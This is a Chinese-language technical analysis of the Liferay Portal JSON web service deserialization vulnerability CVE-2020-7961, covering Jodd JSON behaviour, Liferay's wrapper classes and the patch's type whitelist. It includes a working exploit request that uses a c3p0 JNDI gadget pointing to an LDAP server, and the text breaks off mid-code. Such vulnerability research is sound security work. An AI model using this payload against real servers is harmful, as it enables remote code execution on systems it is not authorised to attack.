如何进行Liferay Portal Json Web Service 反序列化漏洞(CVE-2020-7961)的分析

如何进行Liferay Portal Json Web Service 反序列化漏洞(CVE-2020-7961)的分析，针对这个问题，这篇文章详细介绍了相对应的分析和解答，希望可以帮助更多想解决这个问题的小伙伴找到更简单易行的方法。

Liferay Portal对于JSON Web Service的处理，在6.1、6.2版本中使用的是 Flexjson库，在7版本之后换成了Jodd Json。

总结起来该漏洞就是：Liferay Portal提供了Json Web Service服务，对于某些可以调用的端点，如果某个方法提供的是Object参数类型，那么就能够构造符合Java Beans的可利用恶意类，传递构造好的json反序列化串，Liferay反序列化时会自动调用恶意类的setter方法以及默认构造方法。不过还有一些细节问题，感觉还挺有意思，作者文中那张向上查找图，想着idea也没提供这样方便的功能，应该是自己实现的查找工具，文中分析下Liferay使用JODD反序列化的情况。

JODD序列化与反序列化

参考官方使用手册，先看下JODD的直接序列化与反序列化：

TestObject.java

package com.longofo;import java.util.HashMap;public class TestObject {    private String name;    private Object object;    private HashMap hashMap;    public TestObject() {        System.out.println("TestObject default constractor call");    }    public String getName() {        System.out.println("TestObject getName call");        return name;    }    public void setName(String name) {        System.out.println("TestObject setName call");        this.name = name;    }    public Object getObject() {        System.out.println("TestObject getObject call");        return object;    }    public void setObject(Object object) {        System.out.println("TestObject setObject call");        this.object = object;    }    public HashMap getHashMap() {        System.out.println("TestObject getHashMap call");        return hashMap;    }    public void setHashMap(HashMap hashMap) {        System.out.println("TestObject setHashMap call");        this.hashMap = hashMap;    }    @Override    public String toString() {        return "TestObject{" +                "name='" + name + '\'' +                ", object=" + object +                ", hashMap=" + hashMap +                '}';    }}

TestObject1.java

package com.longofo;public class TestObject1 {    private String jndiName;    public TestObject1() {        System.out.println("TestObject1 default constractor call");    }    public String getJndiName() {        System.out.println("TestObject1 getJndiName call");        return jndiName;    }    public void setJndiName(String jndiName) {        System.out.println("TestObject1 setJndiName call");        this.jndiName = jndiName;//        Context context = new InitialContext();//        context.lookup(jndiName);    }}

Test.java

package com.longofo;import jodd.json.JsonParser;import jodd.json.JsonSerializer;import java.util.HashMap;public class Test {    public static void main(String[] args) {        System.out.println("test common usage");        test1Common();        System.out.println();        System.out.println();        System.out.println("test unsecurity usage");        test2Unsecurity();    }    public static void test1Common() {        TestObject1 testObject1 = new TestObject1();        testObject1.setJndiName("xxx");        HashMap hashMap = new HashMap();        hashMap.put("aaa", "bbb");        TestObject testObject = new TestObject();        testObject.setName("ccc");        testObject.setObject(testObject1);        testObject.setHashMap(hashMap);        JsonSerializer jsonSerializer = new JsonSerializer();        String json = jsonSerializer.deep(true).serialize(testObject);        System.out.println(json);        System.out.println("----------------------------------------");        JsonParser jsonParser = new JsonParser();        TestObject dtestObject = jsonParser.map("object", TestObject1.class).parse(json, TestObject.class);        System.out.println(dtestObject);    }    public static void test2Unsecurity() {        TestObject1 testObject1 = new TestObject1();        testObject1.setJndiName("xxx");        HashMap hashMap = new HashMap();        hashMap.put("aaa", "bbb");        TestObject testObject = new TestObject();        testObject.setName("ccc");        testObject.setObject(testObject1);        testObject.setHashMap(hashMap);        JsonSerializer jsonSerializer = new JsonSerializer();        String json = jsonSerializer.setClassMetadataName("class").deep(true).serialize(testObject);        System.out.println(json);        System.out.println("----------------------------------------");        JsonParser jsonParser = new JsonParser();        TestObject dtestObject = jsonParser.setClassMetadataName("class").parse(json);        System.out.println(dtestObject);    }}

输出：

test common usageTestObject1 default constractor callTestObject1 setJndiName callTestObject default constractor callTestObject setName callTestObject setObject callTestObject setHashMap callTestObject getHashMap callTestObject getName callTestObject getObject callTestObject1 getJndiName call{"hashMap":{"aaa":"bbb"},"name":"ccc","object":{"jndiName":"xxx"}}----------------------------------------TestObject default constractor callTestObject setHashMap callTestObject setName callTestObject1 default constractor callTestObject1 setJndiName callTestObject setObject callTestObject{name='ccc', object=com.longofo.TestObject1@6fdb1f78, hashMap={aaa=bbb}}test unsecurity usageTestObject1 default constractor callTestObject1 setJndiName callTestObject default constractor callTestObject setName callTestObject setObject callTestObject setHashMap callTestObject getHashMap callTestObject getName callTestObject getObject callTestObject1 getJndiName call{"class":"com.longofo.TestObject","hashMap":{"aaa":"bbb"},"name":"ccc","object":{"class":"com.longofo.TestObject1","jndiName":"xxx"}}----------------------------------------TestObject1 default constractor callTestObject1 setJndiName callTestObject default constractor callTestObject setHashMap callTestObject setName callTestObject setObject callTestObject{name='ccc', object=com.longofo.TestObject1@65e579dc, hashMap={aaa=bbb}}

在Test.java中，使用了两种方式，第一种是常用的使用方式，在反序列化时指定根类型（rootType）；而第二种官方也不推荐这样使用，存在安全问题，假设某个应用提供了接收JODD Json的地方，并且使用了第二种方式，那么就可以任意指定类型进行反序列化了，不过Liferay这个漏洞给并不是这个原因造成的，它并没有使用setClassMetadataName("class")这种方式。

Liferay对JODD的包装

Liferay没有直接使用JODD进行处理，而是重新包装了JODD一些功能。代码不长，所以下面分别分析下Liferay对JODD的JsonSerializer与JsonParser的包装。

JSONSerializerImpl

Liferay对JODD JsonSerializer的包装是com.liferay.portal.json.JSONSerializerImpl类：

public class JSONSerializerImpl implements JSONSerializer {    private final JsonSerializer _jsonSerializer;//JODD的JsonSerializer，最后还是交给了JODD的JsonSerializer去处理，只不过包装了一些额外的设置    public JSONSerializerImpl() {        if (JavaDetector.isIBM()) {//探测JDK            SystemUtil.disableUnsafeUsage();//和Unsafe类的使用有关        }        this._jsonSerializer = new JsonSerializer();    }    public JSONSerializerImpl exclude(String... fields) {        this._jsonSerializer.exclude(fields);//排除某个field不序列化        return this;    }    public JSONSerializerImpl include(String... fields) {        this._jsonSerializer.include(fields);//包含某个field进行序列化        return this;    }    public String serialize(Object target) {        return this._jsonSerializer.serialize(target);//调用JODD的JsonSerializer进行序列化    }    public String serializeDeep(Object target) {        JsonSerializer jsonSerializer = this._jsonSerializer.deep(true);//设置了deep后能序列化任意类型的field，包括集合等类型        return jsonSerializer.serialize(target);    }    public JSONSerializerImpl transform(JSONTransformer jsonTransformer, Class type) {//设置转换器，和下面的设置全局转换器类似，不过这里可以传入自定义的转换器（比如将某个类的Data field，格式为03/27/2020，序列化时转为2020-03-27）        TypeJsonSerializer typeJsonSerializer = null;        if (jsonTransformer instanceof TypeJsonSerializer) {            typeJsonSerializer = (TypeJsonSerializer)jsonTransformer;        } else {            typeJsonSerializer = new JoddJsonTransformer(jsonTransformer);        }        this._jsonSerializer.use(type, (TypeJsonSerializer)typeJsonSerializer);        return this;    }    public JSONSerializerImpl transform(JSONTransformer jsonTransformer, String field) {        TypeJsonSerializer typeJsonSerializer = null;        if (jsonTransformer instanceof TypeJsonSerializer) {            typeJsonSerializer = (TypeJsonSerializer)jsonTransformer;        } else {            typeJsonSerializer = new JoddJsonTransformer(jsonTransformer);        }        this._jsonSerializer.use(field, (TypeJsonSerializer)typeJsonSerializer);        return this;    }    static {        //全局注册，对于所有Array、Object、Long类型的数据，在序列化时都进行转换单独的转换处理        JoddJson.defaultSerializers.register(JSONArray.class, new JSONSerializerImpl.JSONArrayTypeJSONSerializer());        JoddJson.defaultSerializers.register(JSONObject.class, new JSONSerializerImpl.JSONObjectTypeJSONSerializer());        JoddJson.defaultSerializers.register(Long.TYPE, new JSONSerializerImpl.LongToStringTypeJSONSerializer());        JoddJson.defaultSerializers.register(Long.class, new JSONSerializerImpl.LongToStringTypeJSONSerializer());    }    private static class LongToStringTypeJSONSerializer implements TypeJsonSerializer {        private LongToStringTypeJSONSerializer() {        }        public void serialize(JsonContext jsonContext, Long value) {            jsonContext.writeString(String.valueOf(value));        }    }    private static class JSONObjectTypeJSONSerializer implements TypeJsonSerializer {        private JSONObjectTypeJSONSerializer() {        }        public void serialize(JsonContext jsonContext, JSONObject jsonObject) {            jsonContext.write(jsonObject.toString());        }    }    private static class JSONArrayTypeJSONSerializer implements TypeJsonSerializer {        private JSONArrayTypeJSONSerializer() {        }        public void serialize(JsonContext jsonContext, JSONArray jsonArray) {            jsonContext.write(jsonArray.toString());        }    }}

能看出就是设置了JODD JsonSerializer在序列化时的一些功能。

JSONDeserializerImpl

Liferay对JODD JsonParser的包装是com.liferay.portal.json.JSONDeserializerImpl类：

public class JSONDeserializerImpl implements JSONDeserializer {    private final JsonParser _jsonDeserializer;//JsonParser，反序列化最后还是交给了JODD的JsonParser去处理，JSONDeserializerImpl包装了一些额外的设置    public JSONDeserializerImpl() {        if (JavaDetector.isIBM()) {//探测JDK            SystemUtil.disableUnsafeUsage();//和Unsafe类的使用有关        }        this._jsonDeserializer = new PortalJsonParser();    }    public T deserialize(String input) {        return this._jsonDeserializer.parse(input);//调用JODD的JsonParser进行反序列化    }    public T deserialize(String input, Class targetType) {        return this._jsonDeserializer.parse(input, targetType);//调用JODD的JsonParser进行反序列化，可以指定根类型（rootType）    }    public  JSONDeserializer transform(JSONDeserializerTransformer jsonDeserializerTransformer, String field) {//反序列化时使用的转换器        ValueConverter valueConverter = new JoddJsonDeserializerTransformer(jsonDeserializerTransformer);        this._jsonDeserializer.use(field, valueConverter);        return this;    }    public JSONDeserializer use(String path, Class clazz) {        this._jsonDeserializer.map(path, clazz);//为某个field指定具体的类型，例如file在某个类是接口或Object等类型，在反序列化时指定具体的        return this;    }}

能看出也是设置了JODD JsonParser在反序列化时的一些功能。

Liferay 漏洞分析

Liferay在/api/jsonws API提供了几百个可以调用的Webservice，负责处理的该API的Servlet也直接在web.xml中进行了配置：

随意点一个方法看看：

看到这个有点感觉了，可以传递参数进行方法调用，有个p_auth是用来验证的，不过反序列化在验证之前，所以那个值对漏洞利用没影响。根据CODE WHITE那篇分析，是存在参数类型为Object的方法参数的，那么猜测可能可以传入任意类型的类。可以先正常的抓包调用去调试下，这里就不写正常的调用调试过程了，简单看一下post参数：

cmd={"/announcementsdelivery/update-delivery":{}}&p_auth=cqUjvUKs&formDate=1585293659009&userId=11&type=11&email=true&sms=true

总的来说就是Liferay先查找/announcementsdelivery/update-delivery对应的方法->其他post参数参都是方法的参数->当每个参数对象类型与与目标方法参数类型一致时->恢复参数对象->利用反射调用该方法。

但是抓包并没有类型指定，因为大多数类型是String、long、int、List、map等类型，JODD反序列化时会自动处理。但是对于某些接口/Object类型的field，如果要指定具体的类型，该怎么指定？

作者文中提到，Liferay Portal 7中只能显示指定rootType进行调用，从上面Liferay对JODD JSONDeserializerImpl包装来看也是这样。如果要恢复某个方法参数是Object类型时具体的对象，那么Liferay本身可能会先对数据进行解析，获取到指定的类型，然后调用JODD的parse(path,class)方法，传递解析出的具体类型来恢复这个参数对象；也有可能Liferay并没有这样做。不过从作者的分析中可以看出，Liferay确实这样做了。作者查找了jodd.json.Parser#rootType的调用图（羡慕这样的工具）：

通过向上查找的方式，作者找到了可能存在能指定根类型的地方，在com.liferay.portal.jsonwebservice.JSONWebServiceActionImpl#JSONWebServiceActionImpl调用了com.liferay.portal.kernel.JSONFactoryUtil#looseDeserialize(valueString, parameterType), looseDeserialize调用的是JSONSerializerImpl，JSONSerializerImpl调用的是JODD的JsonParse.parse。

com.liferay.portal.jsonwebservice.JSONWebServiceActionImpl#JSONWebServiceActionImpl再往上的调用就是Liferay解析Web Service参数的过程了。它的上一层JSONWebServiceActionImpl#_prepareParameters(Class)，JSONWebServiceActionImpl类有个_jsonWebServiceActionParameters属性：

这个属性中又保存着一个JSONWebServiceActionParametersMap，在它的put方法中，当参数以+开头时，它的put方法以:分割了传递的参数,:之前是参数名,:之后是类型名。

而put解析的操作在com.liferay.portal.jsonwebservice.action.JSONWebServiceInvokerAction#_executeStatement中完成：

通过上面的分析与作者的文章，我们能知道以下几点：

• Liferay 允许我们通过/api/jsonws/xxx调用Web Service方法

• 参数可以以+开头，用:指定参数类型

• JODD JsonParse会调用类的默认构造方法，以及field对应的setter方法

所以需要找在setter方法中或默认构造方法中存在恶意操作的类。去看下marshalsec已经提供的利用链，可以直接找Jackson、带Yaml的，看他们继承的利用链，大多数也适合这个漏洞，同时也要看在Liferay中是否存在才能用。这里用com.mchange.v2.c3p0.JndiRefForwardingDataSource这个测试，用/expandocolumn/add-column这个Service，因为他有java.lang.Object参数：

Payload如下：

cmd={"/expandocolumn/add-column":{}}&p_auth=Gyr2NhlX&formDate=1585307550388&tableId=1&name=1&type=1&+defaultData:com.mchange.v2.c3p0.JndiRefForwardingDataSource={"jndiName":"ldap://127.0.0.1:1389/Object","loginTimeout":0}

解析出了参数类型，并进行参数对象反序列化，最后到达了jndi查询：

补丁分析

Liferay补丁增加了类型校验，在com.liferay.portal.jsonwebservice.JSONWebServiceActionImpl#_checkTypeIsAssignable中：

private void _checkTypeIsAssignable(int argumentPos, Class targetClass, Class parameterType) {        String parameterTypeName = parameterType.getName();        if (parameterTypeName.contains("com.liferay") && parameterTypeName.contains("Util")) {//含有com.liferay与Util非法            throw new IllegalArgumentException("Not instantiating " + parameterTypeName);        } else if (!Objects.equals(targetClass, parameterType)) {//targetClass与parameterType不匹配时进入下一层校验            if (!ReflectUtil.isTypeOf(parameterType, targetClass)) {//parameterType是否是targetClass的子类                throw new IllegalArgumentException(StringBundler.concat(new Object[]{"Unmatched argument type ", parameterTypeName, " for method argument ", argumentPos}));            } else if (!parameterType.isPrimitive()) {//parameterType不是基本类型是进入下一层校验                if (!parameterTypeName.equals(this._jsonWebServiceNaming.convertModelClassToImplClassName(targetClass))) {//注解校验                    if (!ArrayUtil.contains(_JSONWS_WEB_SERVICE_PARAMETER_TYPE_WHITELIST_CLASS_NAMES, parameterTypeName)) {//白名单校验，白名单类在_JSONWS_WEB_SERVICE_PARAMETER_TYPE_WHITELIST_CLASS_NAMES中                        ServiceReference